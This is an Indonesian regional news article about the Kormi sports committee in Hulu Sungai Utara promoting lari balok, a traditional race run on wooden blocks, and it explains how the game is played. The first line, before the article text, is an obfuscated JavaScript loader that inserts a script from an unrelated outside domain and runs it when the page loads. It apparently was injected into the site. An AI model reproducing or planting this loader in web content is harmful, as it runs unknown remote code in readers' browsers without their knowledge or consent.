(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, AMUNTAI – Komite Olahraga Masyarakat Indonesia (Kormi) Kabupaten Hulu Sungai Utara(HSU) mengharapkan pemerintah daerah terus mendukung kemajuan olahraga tradisional seperti lari balok.
Hal itu diungkapkan Ketua Kormi HSU Hj Aniwarni, saat menerima kunjungan silaturahmi Kormi Banjarmasin di GOR Pangeran Suryanata Karias Amuntai, Minggu (24/9/2023).
Kunjungan dan silaturahmi Kormi Banjarmasin ke Kabupaten HSU bertujuan untuk mengetahui sejauhmana perkembangan dan kemajuan Induk Organisasi Olahraga (Inorga) yang ada di Kabupaten HSU, terutama Inorga di bidang lari balok.
Hj Aniwarni menjelaskan saat ini Kormi memiliki banyak olahraga tradisional yang diangkat dan sekarang semua olahraga tradisional yang hilang kini telah bangkit kembali.
Baca juga: Kebakaran di Aluhaluh, 5 Jiwa Kehilangan Tempat Berteduh
Di masa sekarang ini, inorga lari balok di Kabupaten HSU sudah menjamur banyak peserta yang berminat.
“Bukti nyata kemarin pada kegiatan di Kabupaten HSU dengan jumlah peserta sebanyak 176 orang, itu masih banyak yang ingin mendaftarkan diri. Insya Allah agenda-agenda yang akan datang akan diadakan lomba lari balok kembali,” bebernya.
Ia menyebut, untuk peserta lari balok ini tidak ada batasan usia, ditambah permainan ini juga bisa dimainkan oleh semua kalangan, laki-laki maupun perempuan dan anak-anak hingga orang dewasa.
Baca juga: Polisi Ungkap Kronologi Kebakaran di Landasan Ulin Sebabkan Perempuan Penghuni Kos Meninggal Dunia
Hj Ani menambahkan, di dalam Kormi ini juga untuk mengangkat kebugaran diri masing-masing, karena yang bugar sudah pasti sehat dan orang sehat belum tentu bugar.
Dirinya berharap, kepada pemerintah Kabupaten HSU agar dapat mensupport dan memberikan dukungan berupa apapun untuk kemajuan olahraga tradisional terutama inorga lari balok.
“Semoga kedepannya Kormi Kabupaten HSU lebih maju dan lebih berprestasi di bidang olahraga tradisional dan bisa nantinya ke tingkat nasional,” tutupnya.
Diketahui, lari balok merupakan cabang permainan atau olahraga tradisional berupa adu kecepatan menempuh suatu jarak tertentu di atas empat buah balok kecil yang menyerupai batu bata.
Baca juga: Penyebab Kamar Kontrakan Terbakar di Landasan Ulin, Penghuni Perempuan Meninggal Dunia
Permainan ini menuntut kelincahan, keseimbangan, kecepatan dan kooordinasi gerak yang baik atau konsentrasi.
Pada prinsipnya, setiap habis melangkah, para pemain harus memindahkan balok yang berada di belakang ke posisi depan sebagai tempat berpijak. Pola tersebut dilakukan berulang hingga pemain menyentuh batas akhir alias garis finish.
Alat dalam permainan ini tidaklah rumit, hanya perlu balok berbahan kayu dengan ukuran panjang sekitar 25 cm, lebar 9 cm, tebal 4 cm, dan berat sekitar 50-100 gram.
Baca juga: BPBD Banjar Kirim Bantuan ke Korban Kebakaran Desa Penggalaman
Untuk memainkannya, dibutuhkan juga lapangan atau ruang terbuka berukuran panjang kurang-lebih 15 meter dan lebar 7,5 meter. Lapangan tersebut dibagi menjadi 5 garis lintasan, di mana masing-masing lintasannya berukuran 1,5 meter. (Kanalkalimantan.com/dew)
Reporter : dew
Editor : bie
KANALKALIMANTAN.COM, BANJARBARU - Nasib Tugu Adipura yang menjadi salah satu ikon Ibu Kota Provinsi Kalimantan… Read More
KANALKALIMANTAN.COM - Kabar bahagia untuk nasabah BRI dan pengguna aplikasi mobile banking BRImo. Saat ini,… Read More
Terancam Tak Bisa Dilewati Jemaah Haul ke-20 Sekumpul Read More
Dispersip Kalsel Musnahkan Arsip Tiga Instansi Read More
KANALKALIMANTAN.COM, BANJARBARU – Jasad berjenis kelamin perempuan didapati warga Landasan Ulin Timur tak bernyawa di… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi (Pemprov) Kalimantan Selatan (Kalsel) menggelar acara penyerahan hadiah penghargaan Adipura… Read More
This website uses cookies.